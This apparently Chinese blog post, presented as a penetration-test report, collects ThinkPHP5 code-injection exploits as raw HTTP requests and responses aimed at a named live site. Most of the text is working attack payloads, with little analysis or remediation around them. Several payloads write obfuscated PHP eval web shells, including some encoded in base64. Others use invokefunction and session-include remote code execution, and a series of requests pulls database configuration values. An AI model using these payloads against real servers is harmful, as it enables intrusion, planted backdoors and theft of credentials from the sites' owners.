找到
1
篇与
ThinkPHP
相关的结果
-
ThinkPHP5 代码注入漏洞总结 渗透测试报告 tp5_construct_code_exec_2 漏洞 url：http://blog.yihang.info/index.php?s=captcha 漏洞验证 请求包： POST /index.php?s=captcha HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Content-type: application/x-www-form-urlencoded Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Length: 60 Connection: close _method=__construct&method=GET&filter[]=var_dump&get[]=dylan响应包: HTTP/1.1 200 OK Server: nginx Date: Thu, 02 Mar 2023 05:21:43 GMT Content-Type: image/png; charset=utf-8 Content-Length: 1876 Connection: close Set-Cookie: PHPSESSID=v8cee56q175b9p0907sv4lchl4; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache string(5) "dylan" string(11) "__construct" string(3) "GET" string(8) "var_dump" string(5) "dylan" NULL PNG 存在漏洞 payload1 POST /index.php?s=captcha HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Content-type: application/x-www-form-urlencoded Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Length: 125 Connection: close _method=__construct&method=GET&filter[]=system&get[]=echo+'%3C%3Fphp+%40eval%28%24_POST%5B%22kkk%22%5D%29%3B%3F%3E'+>bak1.phppayload2 POST /index.php?s=captcha HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Content-type: application/x-www-form-urlencoded Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Length: 125 Connection: close _method=__construct&method=GET&filter[]=system&get[]=echo+"%3C%3Fphp+%40eval%28%24_POST%5B%27kkk%27%5D%29%3B%3F%3E"+>bak1.phppayload3 POST /index.php?s=captcha HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Content-type: application/x-www-form-urlencoded Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Length: 142 Connection: close _method=__construct&method=GET&filter[]=assert&get[]=file_put_contents('bak1.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydra2snXSk7Pz4%3D'))写入成功 tp5_index_construct_rce 漏洞 url：http://blog.yihang.info/index.php?s=index/index/index 漏洞验证 请求包: POST /index.php?s=index/index/index HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Content-type: application/x-www-form-urlencoded Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Length: 52 Connection: close s=xskfC&_method=__construct&method&filter[]=var_dump响应包: HTTP/1.1 500 Internal Server Error Server: nginx Date: Thu, 02 Mar 2023 05:41:02 GMT Content-Type: text/html; charset=UTF-8 Connection: close Set-Cookie: PHPSESSID=08bvf36sj6d6n1n8d0jrvqp184; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 282 string(5) "xskfC" string(11) "__construct" string(0) "" string(8) "var_dump" string(5) "xskfC" string(11) "__construct" string(0) "" string(8) "var_dump" string(5) "xskfC" string(11) "__construct" string(0) "" string(8) "var_dump" 链接无效！请联系客服获取有效链接！漏洞存在 payload POST /index.php?s=index/index/index HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Content-type: application/x-www-form-urlencoded Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Length: 186 Connection: close s=file_put_contents('bak5.php',base64_decode('PD9waHAgJGE9In4rZCgpIl4iIXsre30iO0AkYj1iYXNlNjRfZGVjb2RlKCR7JGF9WyJhIl0pO2V2YWwoIiIuJGIpOz8%2B'))&_method=__construct&method&filter[]=assert写入成功 tp5_session_include 漏洞 url：http://blog.yihang.info/index.php/index 漏洞验证 请求数据包: POST /index.php/index HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cookie: PHPSESSID=uzozteeqzqb0lxop0bi3awl9g Content-type: application/x-www-form-urlencoded Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Length: 113 Connection: close _method=__construct&method=GET&filter[]=think\__include_file&get[]=/tmp/sess_uzozteeqzqb0lxop0bi3awl9g&server[]=1响应结果: think|a:5:{s:4:"test";s:0:"";s:11:"__construct";s:0:"";s:18:"think\Session::set";s:0:"";s:3:"get";s:0:"";i:1;s:0:"";}payload POST /index.php?s=captcha HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cookie: PHPSESSID=q1ces7rkvhr3gg7t9daaxkh9w Content-type: application/x-www-form-urlencoded Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Length: 260 Connection: close _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php+$a='file_put_contents';$b='base64_decode';$a($b('YmFrLnBocA=='),$b('PD9waHAgQGV2YWwoJF9QT1NUWydra2snXSk7Pz4='));?>&server[]=1写入成功 tp5_invoke_func_code_exec_1 漏洞 url：http://blog.yihang.info/index.php?s=index/think\app/invokefunction&function=phpinfo&vars[0]=-1 漏洞验证 请求包: GET /index.php?s=index/think\app/invokefunction&function=phpinfo&vars[0]=-1 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: close响应包: phpinfo页面漏洞存在 payload GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=bak6.php&vars[1][]=%3C%3Fphp+%24a%3D%22%7E%2Bd%28%29%22%5E%22%21%7B%2B%7B%7D%22%3B%40%24b%3Dbase64_decode%28%24%7B%24a%7D%5B%22a%22%5D%29%3Beval%28%22%22.%24b%29%3B%3F%3E HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: closetp5_dbinfo_leak 漏洞(数据库信息泄露) url：http://blog.yihang.info/index.php?s=index/think\config/get&name=database.hostname 漏洞验证 请求包: GET /?s=index/think\config/get&name=database.hostname HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: close响应包: HTTP/1.1 200 OK Server: nginx Date: Thu, 02 Mar 2023 05:51:35 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Content-Length: 9 localhost漏洞存在 payload1 GET /?s=index/think\config/get&name=database.hostname HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: closepayload2 GET /?s=index/think\config/get&name=database.hostport HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: closepayload3 GET /?s=index/think\config/get&name=database.hostport HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: closepayload4 GET /?s=index/think\config/get&name=database.database HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: closepayload5 GET /?s=index/think\config/get&name=database.username HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Cache-Control: no-cache Pragma: no-cache Host: w1.ltfta5.site Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: close
